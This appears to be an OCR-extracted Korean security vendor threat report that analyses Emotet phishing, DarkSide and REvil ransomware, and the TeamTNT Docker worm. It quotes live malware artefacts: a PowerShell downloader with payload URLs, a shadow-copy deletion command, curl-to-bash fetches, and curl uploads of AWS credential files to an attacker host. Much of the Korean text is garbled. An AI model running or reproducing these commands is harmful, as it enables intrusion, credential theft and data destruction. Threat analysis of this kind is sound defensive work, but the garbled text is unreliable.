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4 t2 Misc.HackTool.KMSActivator Trojan 182,803

5 - Trojan.Agent.gen Trojan 168,773

6 t2 Gen:Variant.Razy.553929 Trojan 153,116

7 13 Misc.Keygen Trojan 117,002
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9 t2 Misc.Riskware. TunMirror Trojan 103,081
10 t3 Trojan.GenericKD.43365151 Trojan 99,344
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1. O|H|Y HMEOIZ ZLHQ| CHEF I =0
O|El(Emotet) QdMTE F9|

Zl2 0|28 AETFET =L 22 REE|T U0 0|SX=E2] o] FE=ELCL
_g_7=|x|,_ E_Jt-l C2= |:|.| o= ||:|1|0| HAIXIE ngo:l O|ZEll orx-l_a_:g =] XOIL_][_'-. Alx| 2 Ol-kl oH_?_l AoHol._

Of f2 W2 AFEEV HRUE ofd EX TS R AL 8 URLZ 22S R0l 25 H0|12=
LREEE REgiLH.

L - VOIMN-15797 RE: PICAT10

= F'/ o X B Y

Z7 #E EU7| GEVESE FF OE FF LT SA OAF
2l M e B & HA HA|
=5 H=ZE DA A

2020-09-01 (3 27 2:34

Gary Ravitsky <contato@oficinahemi.com.br>
RE: KOCH HEAT TRANSFER - VOIN-15797 RE: PJCA11008 // POT012203 BL# JRGLS1901165

=13

d=ME ) iegmaLo A
Untitled 5013 251316... _
=| 173 KB

RE: KOCH HEAT TRANSFER - VOIN-15797 RE: PICA11008 // POT012203 BL# IBGLS1901165

Gary Ravitsky
paryrE e el s e

Henry,

| know that the payment was made. | am copying this email for Chara Gertopsky. She can confirm that the payment was
made and send you wire information to follow up. Telex BL is also going to be send to you from Korea. Please get in
touch with Mr. Choi. He received a copy of this email.

Gary Ravitsky | Ameritube | 254.580.9888 | MAIN BROCHURE | News | 150 9001 Certificate

I s
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LaSalle Animal Clinic <admint@mtnt.co.id>
Re:RE: === L
gh= A= hello
O 2= G2=CHEE G E SUSGAAL D BES S557| Y5 0 HAIX| 2 L8 0TS NESE 2SS 5K 2l
Good Marning,
Please see attachment.
hitp://sansorescontabilidade.com.br/wp-snapshots/FILE/91734867039053828/kfRmGIxMx/
Thanks,
LaSalle Animal Clinic
Forbac2azheoea
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Operation did not complete successfully because the file was created on 10S device
, To view and edit document click Enable Editing and then click Enable Content. .
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SEEE n [F] ==y nAEY m
| HorzD }E=z A4S 5 2SS SEFSUL x
| |
Microsoft Word Office 365

== Windows 10 Mobile

Operation did not complete successfully because the file was created on Windows 10 Mobile device.
To view and edit document click Enable Editing and then click Enable Content,
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| HOtEY =S MEZ S+ 2AEE HF X

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

1Hox gy OF aomz) B -—+—+ 100%

B &
[O2 5] 2+ M ’=IER 3

Of2li= 201 L&kE i3 =JLCt,

Jdlbrglvukmblg = HETkverTy4olrThl (UdaZdnTxbjEE)
On Error Resums Next
For Each WaPgh? In LL:F0400
BUZ = nfgv * Fix(730015%4 + Int{645) - gbgWkSn + Sgn(5}} - (652 f jhweg€ / 66 + CLng(EWHv025T))
Hext
PgFz = Chr (ajXLTQS)
Zet tOzWove = CyHcvzlsé_ugi_a
1f bhfx <> BEMas Then
VEsPbY = 8
End If
For EBach Tav In HGa
¥Eg = {1 — Logl(fd2) * 4 + CIng(JhEVIEETF / WOXEPH615 + 9899 - Sqr (nRGPe + zhzJZ103)}) - 44 - HTg * OvViumi® - Cos= (LATRS + UDd))
Haxt
swvellhy = 150254234 f Eoyp
End Function

[j_E.I 6] UI‘E.E |:0| on:n
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$F74yar7=(DHK+hn1H2u);:&(n+ew+-item)

$Env:teMP\WOrD\2019\ -itemtype dirEctoRY;[Net ServicePointManager]::"s Ecuri Typro Tocol" = ((tls+1H+(2,
FEH(ls11,+ +HS);

$Rkw7usl = (D1+1onH+g+43):$Ci348 k=(V2+(nykS8+1));
$Urgrsm8=$envtemp+H((T+42woHrdT4Z+2)HO+19H+T+4Z) —cReplACE
(ICHarl84+[CHar]52+[CHar]90),[CHar]92+$Rkw7uslH. +H'e+xe));

$HItfun9=(X3+54+92+b));

$Ebzr64x=.new+-obj+ect) net WeBCLIENT;

$Cgg8bo4=((h+ttHp+:+H/[+ma)l+s+qu+e+H e+ sH(/s+tat H/+HWHD+ZRH(/*n+ttp:+/ /meH'sd+el+(i
+cesitalH+i+en+H's.+f+r/wp)+-

a+(d+mi+n/fHile/+IIO+k/*http++(/ /+lidis+H om+(. +com. Hb+r/BH(KP_+Tin+aP+0S+/at+tach/)
FUIHH+HEKH /+*+htH(tp+)+H(/+/facanh+a.+co+m.br/temp/Hf+(ile+ /HV+FHYIHEUEZ)H ht+t+p
s:/[+at+tech.H(ml/+wW)+Hp-

+admin)H(/yZDBHHY MKt )+ /#+ ht-H(t+p: //H(ad+mve+r o +co-+m+ b+r/midH(nh+aaH(gu+a+/+
hLwWOIX/*+htt)+p+s+(//d+ev)+ . +Hdos+iD+y+ +i+(n/wHp-
OHon+te+nHt/+Ha+ttach/zdR+HVD+CwW)H+(+/)."SPlIt'(charl42);

$BnOidni=(X+(i+7agHa5);

foreach($Up90jr9 in $Cee8bosXtry{$Ebzr64x."Dow NLOAD FilE" ($Up90jr9,
$Urar5m8);$K3cojw2=H+b7)+fg+rh));

If ((Get+—+1tem) $Urgr5m8)."LEnG Th" —ge 22028){ (Invok+e+-+Item)($Urgr5sm8);
$HWBOCSO=(Fi+1r+9+u8));

break;

$Anfyg5p=(F9+(bsdf+p)ficatch{}$Ul7096m=((D+3a0)+pj+0))

[B 1] I AFZE &

http://masquel Jes/stat/HWDzR/
http://mesdelicesitaliens] Jfr/wp-admin/file/lick/
http://lidiscom.com[.Jor/BKP_TinaPOS/attach/ULfEK/
http://facanha.comlJor/temp/file/VFyitEUEZ/
https://attech.Jml/wp-admin/yZDBIYk/tq/
http://admverol.Jcom[]br/minhaagua/hLwOiX/
https://dev.dosilyl.in/wp-content/attach/zdRHVDCwl/

[E 2] O|2ElI CIREE (’R(C FTA BAE

2| CRCE Soll CIRZEE &= H0|ZEE Y%SYSTEMROOT%\system32', ‘Y%appdata% ot2I= X7 S HEL|CH =
ok Siel= CRCQ1190.136.179[1102 2 ZE PC HE(ATEH 0|2, 28 HE = HZH HIEYA ME,
OZMA 2JAE) M&5HH £E HO0|2= Emotet M TE CIREEE $:3liSH|CY
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VE ZE  Go|f
ab|(7|22h REGSZ (223 2t &)
ab|Google Update  REG_SZ  ClsersW,..  WAppDatawlocalwGooglewUpdatew.3.32 7#GoogleUpdateCore exe
ab] | REG_SZ "CwlUsers  #AppData¥local#api-ms-win-core-console-11-1-0%NIsLexicons000a.exe”
[O2 7] X5 A HXIAER| S5 3IH
Address |Hex dump ASCII o

G818F406 (43 00 6F @0 a8 74 C.o.n.t.e.n.t.—-.
B018F418|54 A8 79 080 ae 65 3n 68 20 88| 6D 60 T.y.p.e.:. .m.u.
B018F420|6C @0 74 980 ge 78 61 @8 72 88|74 60 l.t.i.p.a.r.t./f.
B818F4368(66 00 6F @0 a8 oD 2D 88 64 00|61 80 f.o.r.m.-.d.a.t.
B018F4hB| 61 A0 3B 80 ae 62 6F 88 75 88| 6E 68 a.;. -b.o.u.n.d.
BO18F450|61 40 72 80 ae 3D 2D @88 2D 88| 2D 60

B818F468 (2D 668 2D @0 ae 2p 2D 88 2D 682D @0

BO18F470| 2D A8 2D 80 ae 2p 2D @88 2D 88| 2D 68

G018F480| 2D 40 2D A0 ae 2p 2D 68 33 9868|33 60

B818F496(63 660 35 A0 a8 63 30 88 32 00|35 A0

B018F4AB| 33 A0 63 A0 ae 35 65 688 36 88|64 60

d018F4BB| 37 40 31 80 ae 35 31 @88 36 88|37 60

B818F4CA(39 66 38 A0 ae 37 30 80 8D 06| 6A 90

BO18F4DB|D2 7R D2 76 F6 18 28 F5 18 68|AC Fb

GO18F4EB| DO F4 18 80 58 EB CC F8 18 @B|ED EB

B0818F4FB(2A 92 2B @0 FF FF 9C 3C E1 76|C1 51

BO18F500| 1A 40 80 B0 a8 8o 1C F9 18 88| CE 51

BO18F510|45 40 80 80 D3 2B 88 80 29 690|Co EO

BB818F5268(53 66 88 53 668 80 58 8D 308 61|00 80

BO18F530|6A 81 88 80 F6 18 45 @9 80 90|88 68

G018F540| 48 D3 2B 980 F6 18 A4 5D E1 76|D3 5D

B818F5%0(8A 78 D2 76 668 80 AC 83 29 00|00 A0

B018F560|58 @1 29 A0 a8 8o D8 48 2C 00|68 42

BO18F570| 48 30 73 74 42 29 68 F7 18 00)6A 01

G818F586( 08 49 2C A0 42 29 2F 81 88 08|C8 CF

BO18F590| 88 A0 80 @1 8a 88 80 B0 68|80 A0

G018F5A0| B0 40 80 00 ge 8o 88 00 8O 09| 80 00

G818F5BA|( BB 060 A0 A0 668 80 98 BE 38 01|84 B85

BO18F5CH| B8 A0 80 A0 a8 8o 88 80 B8 68|FF @7

G018F5D0| B0 40 80 00 ge 8o F4 F5 18 08|88 7F

B818FSEB(CC F6 18 @0 668 80 86 06 B8 BO(CC Fb

BO18F5FB| B2 A0 80 A0 F6 18 F2 78 E1 76|91 83

d018F600|B2 78 D2 76 ge 8o 88 92 9O 68|58 D3

g@18F6168(DB FC 18 @0 E@ DD 68 066 88 8O(FE FF

B018F6208| A3 A0 ﬂﬂ aa ae a8 CC F9 18 08|28 82

B018F636( 62 a8 ae 80 898 86 60 80 00|60 60

B818F640( B6 ﬂﬂ- ﬂﬂ F7 18 CC F? 18 06|00 80

B018F650| 86 A0 88 F6 18 D2 F9 18 86|82 @68

B018F660| B8 60 80 BB 80 898 68 60 80 00|63 60

B818F676( 86 00 B0 A0 668 80 68 06 6O 9B(B2 78

B018F680| 88 F6 18 A0 a8 8o DA FC 18 B8|ED EB

G018F600( B8 G0 68 00 80 898 6C F9 18 00|86 8% ;
HH18F GH 1 g [ g __Hi D § _HO 86 80 80 _HB [ 57

[13 8] 2+ PC ME X4 51H

[H2EA], Ol&klﬁﬂl E| 29KALYac) 4l T2 J20jA= FLHQU0M EZAE= Z) 0|25 ok BiX| 3 X|=
JlsE NEHCE Fololl U= gk Z| HTOZ AH0|ES RAlOlL, &Mt HA| VIS S Edeloh=
10| E&LILCL

Il LM = sHE AT =S| CHsH Trojan.Downloader.DOC.gen, Trojan.Agent.Emotet 2 2 EHXIES0f| QESLICE
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2E(Thallium) sHZ =% 3 HHE

0|2 3K A|HOZ K| 08 & 26 Y O[O |[FZATE(MS)AK= EE SHZZRZI0| CHaH T|1Q10| EX5IK| (2

o
= —
SAUEHO|A Tllok= ZMIHTIS QFOIRL, 0IS0] ArSet O|HIY =40 X A2ES 2RO s

Microsoft Thallium-Request for Entry of Default Jud... 6/15

other pleadings, declarations, evidence, orders and other submissions in this action. by attaching

those documents as PDF files to emails sent to the email addresses associated with the domains
used by the Thallium Defendants. In each such email [ included a link to the website
www.noticeofpleadings.com/thallium. at which the pleadings. declarations, evidence and orders
filed in this action could also be accessed.

17. [ have served the Complaint, TRO, Preliminary Injunction Order. and all other
pleadings. declarations. evidence. orders and other submissions in this action. by sending them to

the following email addresses used by the Defendants:

tang_guanghuif@hotmail.com
bitcoin024{@hanmail .net
bitcoin025@hanmail .net
satoshiman0088@gmail.com
noreplygooglesender(@gmail.com
pigcoin2020fghotmail.com
minchurli@daum. net
tiger] 99392 @daum.net
infornail.noreply/@gmail.com
jiahuzong@hotmail.com
wusonghal3@gmail.com
23130d8e5ab4439tb1 5be2da7de 1 fTh8. protect@whoisguard.com
| okonoki_masaoi@yahoo.co.jp

[(22 1IMS At ZMTHE QFM LI L

ESTsecurity



02 TZ7t 711

UE D2 AT AEET} THE IR 1S H91 072 26 Y ULANT AOIH Fi HS0| BAlE M2 9/
YT} R 52 AEILICE

IT—- O

CIA| ATO| TJAl 2O O|HY MBS 'S5t 8 A5
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== 712 B2 255 20 E2MEES Riools HIEHRl ARlsed 7 Iﬂ% %%i\*'—l'lf
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» HWAE HojgHAH0|

https://drive.google.com/file/d/1 INRawGsH5gfdzYORsDgjTTrkkcd 8F-va/view
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edx,

ebhx

short loc_4@51D@

BCX,
edi,
esi,
esi,

[edxz+esi]
esi
ebx
edx

dword pty [eax+eax+

eCH,
al,

[ecx-1], al

esi,

[edi+ecx]
[ecx+1]

short loc_4@51Ca

Bdx

sub_L4B6558

esp,
eax,
eax

[ebp+Buffer]

[ebp+Buffer]

ds:GetTempPathA

edi,

[ebp+Buffer]
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(&pszPath, @8, 260);
if { SHGetSpecialFolderPatha{@, &pszPath, 8, @) )
{
GetShortPathHameA{&pszPath, &szihortPath, 8x184u);
wsprintfA{&u6, "/c dir %sWW >> %s", &szShortPath,
pExecInfo.lpParameters = &uh;
ShellExecuteExA{&pExecInfo);
5leep{8xBB8u) ;
(&szLongPath, @, 26@);
if { SHGetSpecialFolderPathA{@, &szLongPath, 8, @) )
{
GetShortPathHameA{&szLongPath, &sz3hortPath, @x184u);
wsprintfA{&u6, "/c dir %sWW >> %s", &szShortPath,
pExecInfo.lpParameters = &uh;
ShellExecuteExA{&pExecInfo);
5leep{8xBB8u) ;
(&ui, B, 268);
if { SHGetSpecialFolderPatha{@, &vui, 38, @) )
{
Get5hortPathHameA{&v1, &szShortPath, O8x184u);
wsprintfA{&u6, "/c dir %sWW >> %s", &szShortPath,
pExecInfo.lpParameters = &uh;
ShellExecuteExA{&pExecInfo);
5leep{8xBB8u) ;
wsprintfA{&vs, “/c systeminfo >> %s™,
pExecInfo.lpParameters = &uh;
ShellExecuteExA{&pExecInfo);
5leep{8x1388u);
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mouvups H=mmA, dsixmnword 419280

mov eax, ds:dword_4192DA

mou [ebp+var_7¥C], eax

lea eax, [ebp+uvar_138]

mouvups [ebp+var_CC], =zmmB

push eax

mouvups H=mmA, dsixmnword 419298

lea eax, [ebp+var_68]

mow [ebp+uvar_52C], offset asc_ 419188 ; "xf="

push eax

mouvups [ebp+var_BC], =zmmB

push offset almgPngPost_php ; "img/pngfpost.php™
mouvups H=mmA, dsixmnword 419208

push offset aPortable_epizy “portable.epizy.com”
push offset aPortable_epizy “portable.epizy.com”
mouvups [ebp+var_AC], =zmmB

lea eax, [ebp+uar_518]

mou [ebp+var_528], ebx

mouvups H=mmA, dsixmnword 419288

push offset aHostSRefererHt ; ""Host: ZsthrdnReferer:
push eax s LPSTR

mouvups [ebp+var_9C], =zmmB

mouvups H=mmA, dsixmnword 4192CA8

mouvups [ebp+var_8C], =zmmB

[0 g BBHO(C2) M2t St

AlSH= B0
WebKitFormBoundarywhpFxMBe19cSiFnG)2 174 E& ZZ10|

AE3HE A} FefolA LR[Sk ASLICE.
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while { vib6 )3
{v15, “Wr¥n----—-—- WebKitFormBoundarywhpFxMBe192cSjFnG™, Bx2Bu);
vuil? = {char =){uvd - 1};
do
ulB = (ui7++)[1];
while { vig );
{vi7, "wWr#nContent-Disposition: form-data; name=W'HAX_FILE_SIZEW'', 8x34u);
ui9 = {int){uvi7 + 52);
uze = {(int)(v? - 1);
#( WORD =)u19 = ={ WORD =)"EW"';
#{ BYTE =){uvi1? + 2} =
do
u21 = ={_ BYTE =)(u28++ + 1});
while { v21 );
v22 = {char =*=){uvd - 1};
*{_ DWORD =)u28 = 168626701;
*(_DUWORD =)(uv20 + 4) 808464433 ;
*(_DUWORD =)(w20 + 8) 808464132 ;
*{ BYTE =){v28 + 12} a;
i[1]
u23 = {(u22++)[1];
while { v23 );
(v22, "thr¥n----—-—- WebKitFormBoundarywhpFxMBe192cSjFnG™, Bx2Bu);
u24 = {(int)(v? - 1);
do
u2s

= =(_BYTE *)(u24++ + 1);
while { u25 );
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DarkSide: New targeted ransomware demands million dollar ransoms

0/ R DarkSide 2H= M2 2419101 ZHHO| ZXIS B25p| A 0152 7HAE 3242 S5 0[0| 444 2t
SiaiS 20150l HOR LIEKITE SHKSS 2020 118 & 10 UHE 0] M2 HS0IS St 4+ B2 7@t traf
EF 242 43517 | AICH BZAISS T KRS WH XPIS0| KK CIZ Hiloiele] HiS Saf ofn|

O 242 HOISUCT ST SRRt 150 70[0f L MER “RE"S K| SoHK, AHEOR 2Feb |2
293 2102 LIEITY

2o ME2 AZ0 B SAIE A2 A0|C SHAIZE 2Z0L H 80| 2R | LEHE 242 OtLIL. 22k= OFHo
olof & %*EJP‘._' CryptoLocker 22| HHS Solf +-4 T HHE HOSRACE L7} AEE 25t HES X 2301
[h=0i| DarkSide & 2H=7101| O|=XICt. O[H| 2= H|Z4 23t KiES UL

Darkside &= *7|2ISS LoPH| 5t AX| 97| 20l S 70| HMDILIS Xiet 0f2(0] Ei= SARIS Laickn
2RI

_
—

« cC @ D @ b myirnedyy v ke B % O ¢ Q searct Ba@ms » =
Let's start  Pinned | 10.08.2020 ]

We are a new product on the market, but that does not mean that we have no experience and we came from nowhere.
We received millions of dollars profit by partnering with other well-known cryptolockers.
We created DarkSide because we didn't find the perfect product for us. Now we have it.

Based on our principles, we will not attack the following targets:

® Medicine (hospitals, hospices)
® Education (schools, universities).
® Non-profit organizations

® Government sector.

We only attack companies that can pay the requested amount, we do not want to kill your business.
Before any attack, we carefully analyze your accountancy and determine how much you can pay based on your net income.
You can ask all your questions in the chat before paying and our support will answer them.

We provide the following guarantees for our targets:

® We guarantee decryption of one test file.
® We guarantee to provide decryptors after payment, as well as support in case of problems,

® We guarantee deletion of all uploaded data from TOR CDNs after payment
If you refuse to pay:

® We will publish all your data and store it on our TOR CDNs for at least 6 months.
* We will send notification of your leak to the media and your partners and customers.

 We will NEVER provide you decryptors.

We take our reputation very seriously, so if paid, all guarantees will be fulfilled
If you don’t want to pay, you will add to the list of published companies on our blog and become an example for others.

[EXhttps://www.bleepingcomputer.com/news/security/darkside—new-targeted-ransomware-demands—million-

dollar-ransoms/
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ML 52 20 2 F2{FH 200 2 0] ST TloiX[0] [t 0] 52 KLt BOFE 4= RULH.

$ Darkside X ‘ $ Darkside >4

o | Ofl(& cC @ @ & darksidfqzcuhtk2.onion/s 7 n ey

& c ® ® © darksidfqzcuhtk2.onion/ i, s e

You need pay You need pay now, or
37.518 BTC (+10%) - 4065.867 XMR 190.363 BTC (+10%) - 22537.751 XMR

after doubled.

After payment we will provide you universal S S e SRR
decryptor for all network.

After payment we will provide you universal
Don't worry, we are good decryption specialists. decryptor for all network.

[32] DarkSide GIO[Ef R& AIE

[EXhttps://www.bleepingcomputer.com/news/security/darkside-new-targeted-ransomware-demands-million-
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- vimoompute.exe
- vmmsexe

- vImwpexe

- swchostexe

- TeamViewerexe
- explorerexe

AIRI0I7} TeamViewer S SZ5HX| Q= X2 S5 U2 OILICL 0|2M SHAH HRE(] RO HI5H=H| 0|
D2 IS ARSI QUCH= S U 4 UL 0] YS3t T2MAS 2A15t Micheel Gillespie = ST 2449017 TS
US3517| SfsH SALSA0 715 I%%_ CHI 913iCt 012 0] 7l Mamlo) el Z7H RSA104 715 S3f

ots3sS CC 7|- A O AE % A 2 0|25 AHA AE SEX =
i =EICt oot 2F TfoHXAl= 40| AAE MF 4 (checksum)S 012510 W& AAR 28R HR0ECH,
| M < | test - 0 e
Home Share View o
* U & Cut | x T E';é New item ~ ﬂ 4 Open B select all
) ) W Copy path A 1 ] Easy access ~ = Edit 75 Select none
pmat:ieQS:le Copy Paste Iﬂ pastarchortatt r\tAo‘.ve Ctzpy Delete Rename fl;llgvzr Prop'ertles eHistory DE,] ifvent silection
Clipboard Organize New Open Select
i > ThisPC > Desktop > test v O pol
A
> 3 Quick access
> @ This PC
> & Network
1.doc.8c82ff2d 1.docx.8c82ff2d 1jpg.8c82ff2d 1.png.8c82ff2d 2.doc.8c82ff2d 2.docx.8c82ff2d
2.jpg.8c82ff2d 2.png.8c82ff2d 3.doc.8c82ff2d 3.docx.8c82ff2d 3.jpg.8c82ff2d 3.png.8c82ff2d
4.doc.8c82ff2d 4.docx.8c82ff2d 4,jpg.8c82ff2d 4.png.8c82ff2d 5.doc.8c82ff2d 5.docx.8c82ff2d
201 items B

[T DarkSide £ & 3}=! Ml

[EX{|https://www.bleepingcomputer.com/news/security/darkside—new-targeted-ransomware-demands—-million-

dollar-ransoms/

ESTsecurity Copyright © 2020 ESTsecurity Corp. All rights reserved. 29


https://www.bleepingcomputer.com/news/security/darkside-new-targeted-ransomware-demands-million-dollar-ransoms/
https://www.bleepingcomputer.com/news/security/darkside-new-targeted-ransomware-demands-million-dollar-ransoms/

04 =28 Hot F&

Zh AlBHTIRI2 FAE “W\elcome to Dark” HML-ES TSI5|T QUL SHE HAML-Eoll= S H0|E{2] &, HIO[E{ EI

H0|E R= AOIEO AME 2= HIOIE2| 237t 71XHE|0] QT

[J README. 554 442 TXT - Notepad2 -
File Edit View Settings 2
DEad lsam As|Eeamw g

2 - [ welcome to Dark ] ------------- >

3

4 what happend?

+ [ T

6Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.

8Follow our instructions below and you will recover all your data.
9

10Data leak

11 - Tt i

12First of all we have uploaded more then 100 GB data.

13

14 Example of data:

15 - Accounting data

16 - Executive data

17 - Sales data

18 - Customer Support data

19 - Marketing data

20 - Quality data

21 - And more other...

22

23Your personal leak page: #i Lo PRy, &év»”/ﬂ(ﬂ\%}/f ¥ Ehe
24 The data is preloaded and wi e automah cally published if you do not pay.

25 After publication, your data will be available for at Teast 6 months on our tor cdn servers.
26

27 We are ready:

28 - To provide you the evidence of stolen data

29- To give you universal decrypting tool for all encrypted files.

30- To delete all the stolen data.

31

32 What guarantees?

34We value our reputation. If we do not do our work and Tiabilities, nobody will pay us. This is not in our interests.

35A11 our decryption software is perfectly tested and will decrypt your data. we will also provide support in case of problems.
36 We guarantee to decrypt one file for free. Go to the site and contact us.
37

38How to get access on website?

39 - T R

40Using a TOR browser:

411) Download and install TOR browser from this site: htt_ps //torpr'O]ect orq/ )
422) Open our website: http://darksidfazcuhtk. onionga: %y v oMe e i (s n i S e s D P il it
43

44 When you open our website, put the following data in the input form:
45Kes

52 111 DANGER !!!

53DO NOT MODIFY or try to RECOVER any files yourself. we WILL NOT be able to RESTORE them.
54 111 DANGER !!!

55

Ln33:55 Col47 Sel0 2.60 KB ANSI CR+LF INS Default Text

7But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.

T e G e R D RS Ok A s R

[T22!] DarkSide HAILE

[EX|https://www.bleepingcomputer.com/news/security/darkside-new-targeted-ransomware-demands-million-

dollar-ransoms/

2UXH7EK= O] SHAAIOI0IM FIOFHS LA+ YACH LIUS T2 =718 4 U= L0 §iC.
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Sodinokibi(REvil)2e] &t 715

TrH=2 DarkSide =41 Al Sodinokibi 2|02t FARSH S R7AS 4= QUL 7F S=hSH == Sodinokibi 2+ 72|

SUsHMITE QAIS ABBITH= Z0[CH

4 * ofgyb-readme.bit - Notepad2 fo@
File Edit View Settings 2
DEREY adlas@ealaw

1 === welcome. Again. =s=---

2 [+] whats Happen? [+]
s your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion ofgy6.
6 By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).

s [+] what guarantees? [+]

s

10 Its just a business. we absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate
with us. Its not in our interests.

11 To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.

12 If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time
is much more valuable than money.

[+] How to get access on website? [+]
16 You have two ways:

151) [Recommended] uUsing a TOR browser!

13 a) pownload and install TOR browser from this site: https://torproject.org/

20 b) open our website: http://aplebzud7wgazapdgks6vrcv6zcnjppkbxbréwketfs6nf6aq2nmyoyd. onion/[id]

21 -

222) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: 1
a) open your any browser (Chrome, rFirefox, opera, 1Ie, Edge)

24 b) Open our secondary website: http://decryptor.top/[id]

25

26 warning: secondary website can be blocked, thats why first variant much better and more available.

s when you open our website, put the following data in the input form:
29 Key

21 [key]

34 Extension name:

of aqy6

39

40 !!! DANGER !!!

41 DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and,
as result, The Loss all data.

42110 111 11

43 ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere.
PRI
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[EX]] https:/ /www.bleepingcomputer.com/news/security/darkside-new-targeted-ransomware-demands—million—dollar-ransoms/

Bleeping Computer OflA DarkSide 2| eSS 24det Zul, HHY0P7} XMz Hetig 1 Q1T ZE PowerShell AT EIET}

AIBHEIC H= 742 Q74300 L

powershell -ep bypass -c
"(0..61) |%${$s+=[char] [byte] ('0x"'+'4765742D576D694F626RA6563742057696E33325F536

861646F77636F7079207C20466F72456163682D4F626RA656374207B245F2E44656C6574652829
3B7D20'.Substring (2*$ ,2))};iex $s"

[12] Alstizl= PowerShell 2104
[EX] https://www.bleepingcomputer.com/news/security/darkside—new-targeted-ransomware-demands—million—dollar-ransoms/

-H=2}E oifM[GEXt o PowerShell HE2 M2 =& SARES AMoh=0 AFEEl XS = 5= UL,
Get-WWmiObject Win32_Shadowoopy | ForEach-Object {$ .Delete();}
PowerShell 2 S5l 2|2 HAHS AldiSH= 742 Sodinokibi 2| BTt SIS}
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| Gand

]

MalareHunterTeam 2 DarkSide 7| CIS 5712| Z&S 2|=MO = Mo = AAE HZAUCE 0] 2=
Crab HIM XI5 AR El= At FARSICL

@ MalwareHunterTeam

@malwrhunterteam

DarkSide ransomware also has code to check for CIS
countries...

What a surprise, right?

=

What is interesting is that it uses both
GetSystemDefaultUlLanguage &
GetUserDefaultLanglD, that is very rare in RWs. Only

done by GandCrab and then REvil before | think...

&
@VK_Intel

[&X]] https:/ /twitter.com/malwrhunterteam/status/1293229435848712199

O[22t FAFH2 OFXTTIX| 20X =7t HLE|ZI0| BQeh Ao = THELY,

[EX]][Bleeping Computer] DarkSide: New targeted ransomware demands million dollar ransoms

https:/ /www.bleepingcomputer.com/news/security/darkside-new-targeted-ransomware-demands—million—dollar-ransoms/
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0|

FEEXHZ &, Docker AAEIIA AWS Xt SH EX

Cryptojacking worm steals AWS credentials from Docker systems

TeamTNT Z YT AO|H §#HZ| 750| JEEDO|H &S S SHZ=E Docker & Kubemetes A|ARIIM HE
AEHC| AWS XH4 BH 3 AH OIS X[ U= AO= LIERITE TeamTNT 2| 7HASHE| 00| 2412 X[+ 5 &

O AAL—
MalwareHunterTeam 0| M2z ZZAMNOM I FME Docker ZH[O|H2Le| ZEHES “e”‘ld Trend Micro
HTESO0| FII2 2M3HCE Cado Security 2] ATAHE0| [MEH 0= X|=5| HHs IEEN|H 2& 20 AWS

A B8 2 7Ist i MiskEl= ==2| #o|ct

0] 2412 &5 Docker APl & Z=(FZ Kubemetes A|ARIE Zh= Z10F YISl QEAA masscan IP ZE
Al QIAEAE ASHsE EXoZ 0|0] AMHE ZAIZILE 0|F W2dsls 2= EHE M= AU MER
ZH|0|L0f| XpA S AX|SHCY.

A

nm_mi

eval "$rndstr"="'$(masscan $1 -p$prt --rate=$3 | awk '{print $6}'| zgrab --senders

200 --port $prt --http='/vl1.16/version’ --output-file=- 2>/dev/null | grep -E
'ApiVersion|client version 1.16"' | jq -r .ip)'";

ipaddy ${!rndstr}

echo "$ipaddy:$prt"
docker -H tcp://$ipaddy:$2 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c

"curl http://dockerupdate.anondns.net:443/sugarcrm/themes/default/images/mos.jpg |
bash; service crypto status || echo
crontab -1 2>/dev/null

echo "* * * % x ¢]1pDR http://129.211.98.236/xmr/mo/mo.jpg | bash; crontab -r > /

dev/null 2>&1"

.' bash”

[32]] CF= Docker A|ARIO R SHME=H| AIRTl= FE

[EX] https://www.cadosecurity.com/2020/08/17/teamtnt—the—first-crypto-mining-worm-to—steal-aws—credentials/
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AWS TJ2Hd |
TeamTNT &2 MHE ZGAZ]I & A|AE! L “~/aws/credentials” & “~/.aws/oonfig” XA AWS CLI O] IP4
Y 2 AY MHE XNAok=0| AFEst= YSsiz(X| 42 OIS at=Ct 0] #2 ZH HI0|EE &ZsHH curl

Soll SARE Mofol= 2 M= Y=ol S+1ES2 S2APE 22 AWS X 83s 5 E= X

SRIGHRI= BIECHE XS WX

Lr%

“CanaryTokens.org Of|A] AASH X124 SHS TeamTNT 2 EHYHOLL OFRI77IK| AFRSH EX2 HO|X| LULE 02K
o

g%-ﬂtz
251X 7Lt EIRIS 95t 7150] MITHZ SXIGHK| =Tl Ze

LS1—

|-ol-

o
Q
3
_|
=
_|
r
el
0
>
ol
o
mjo
f)al
i8]
o
ro
P
>~

= U0

[ -f /root/.aws/credentials ];
echo "FOUND : /root/.aws/credentials"
curl -F "userfi root/.aws/credentials” http://sayhi.bplaced.net/thx/for/your/key/index.php
curl -F "userfile=@/root/.aws/config" http://sayhi.bplaced.net/thx/for/your/key/index.php
history -c

[ -f /home/*/. aws/credentlals 1;
echo "FOUND : /home/*/.aws/credentials”
curl -F u>erf1 /home/jovyan/.aws/credentials™ http://sayhi.bplaced.net/thx/for/your/key/index.php
curl -F "userfile= w/home jovyan/.aws/config" http://sayhi.bplaced.net/thx/for/your/key/index.php

history -c

rm -f $@
[ AWS XA BES SX =T

[EX]] https:/ /www.cadosecurity.com/2020/08/17/teamtnt-the—first-crypto-mining-worm-to-steal-aws—credentials/

SEEN0NE =Y

TeamTNT = ohidE A|ARINA 2UH[= 7F=lHE xf=0l7| AlZok= XMRig CPU Ot0|L EESt YIS,

0|2 Solf 8= 2E RlE= S4XAR| BHIE XUCE MEEIC G S2 0] 2t 2F $300 AF9| 3
XMR O U= £ X2 2 FhE YAMCE SfX[Tt 71 oH[E Ri=Zoh= A2 Yo = X[Z 8 7l OIS
AESICH= TS Z0tE! If & U2 2 F A= OAEICT SRS “0l2{st SA2 80| HulskKl= X2t
